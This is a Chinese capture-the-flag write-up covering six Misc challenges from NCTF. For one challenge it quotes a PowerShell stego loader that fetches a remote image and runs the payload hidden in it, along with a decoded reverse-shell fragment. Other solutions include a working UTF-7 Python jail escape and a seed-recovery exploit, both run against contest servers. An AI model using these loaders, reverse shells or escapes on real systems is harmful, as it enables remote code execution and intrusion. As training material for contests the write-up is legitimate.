Misc
后面三个题是赛后做出来的。
1.Jump For Signin
方法1是跳一下。
方法2是用dnSpy打开_Data/Managed下的Assembly-CSharp.dll,在CubeGenerator类中能找到方块坐标。
复制出来写个脚本即可得到图片和答案。
2.Jump For Flag
同上一题方法二
r = [(...)]
from PIL import Image
img = Image.new("RGB", (32, 32))
for s in r:
img.putpixel((s[0], s[2]), s[3] == 1 and (255, 255, 255) or (0, 0, 0))
img.save("6.png")
3.NCTF2077:jackpot
一个.net的exe(主办方挺喜欢用.NET啊
打开找到3.ps1
$flag = "-873e-12a9595bbce8}";
sal a New-Object;
Add-Type -A System.Drawing;
$g = a System.Drawing.Bitmap((a Net.WebClient).OpenRead("https://zysgmzb.club/hello/nctf.png"));
$o = a Byte[] 36600;
(0..14) | % { foreach ($x in(0..2439)) {
$p = $g.GetPixel($x, $_);
$o[$_ * 2440 + $x] = ([math]::Floor(($p.B-band15) * 16)-bor($p.G -band 15))
}
};
IEX([System.Text.Encoding]::ASCII.GetString($o[0..35134]))
多次解密后是
$socket = new-object System.Net.Sockets.TcpClient('192.168.207.1', 2333);
if ($socket -eq $null) { exit 1 }
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
$ffllaagg = "NCTF{5945cf0b-fdd6-4b7b";
... 拼接即可
4.ezjail
白名单里只有abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+=#几个字符,果断退出
回头找了找发现是utf-7编码。且python可以识别这样的东西:#encoding=utf7...
但是问题是网上找到的utf-7样子是...+AAA-的形式,那不就无解了?
去找了找python源代码发现可以不用分隔符....直接流的模式也行
payload = """
import os
os.system("sh")
"""
import base64 as b64
def utf7_encode(s):
return "+" + b64.b64encode(s.encode("utf-16-be")).decode()[:-2]
payload = f"#coding=utf7{utf7_encode(payload)}"
print(payload)
from pwn import remote
r = remote("124.220.8.243", 9999)
r.sendline("E")
print(r.recv(4096).decode())
r.sendline(payload)
r.interactive() $ ls
flag_390FEB17FDECBF7C98424D58D226D0199B7FAF574FE740C140EEED87F4D18F1D
server.py
$ cat fla*
NCTF{82e7f7a2-154d-4d20-baa1-d8555fc1077a} 5.randommaker
看代码知道将输入随机排列后运行。
加上中间一个1e4次的判断。知道是侧信道攻击来爆破时间戳。
使用二分法加快速度。
代码如下
from pwn import *
from random import Random
import time
# context.log_level = "debug"
timestamp = int(time.time() * 1000)
r_map = {i: Random(i) for i in range(timestamp - 2000, timestamp + 2000)}
p = connect("124.220.8.243", 1337)
for i in range(100):
p.sendlineafter(b">>> ", b"12")
result = b"-" in p.recvuntil(b"of")
blist = []
for k, v in r_map.items():
tmp = list("12")
v.shuffle(tmp)
if result and tmp == ["1", "2"]:
continue
elif not result and tmp == ["2", "1"]:
continue
else:
blist.append(k)
for k in blist:
r_map.pop(k)
if len(r_map) == 1:
print(r_map)
print(i)
break
random, *_ = r_map.values()
payload = "__import__('os').system('cat fla*')"
l = [i for i in range(len(payload))]
random.shuffle(l)
payloadfi = ["?" for _ in range(len(payload))]
for i in range(len(payload)):
payloadfi[l[i]] = payload[i]
true_payload = "".join(payloadfi)
p.sendline(true_payload.encode())
p.interactive() 6.NCTF2077:slivery
内存取证+浏览分析。
内存镜像里找可以找到桌面上的flag.zip,还有和题目相关的slivery.exe
查询可知sliverc2是一个加密流量的恶意程序。
用工具https://github.com/Immersive-Labs-Sec/SliverC2-Forensics分析流量包。
取出exe的dump可以获取session,然后全部解析。
命令中可以找到passwordP@33w000000rd_U_GOT解压得到flag。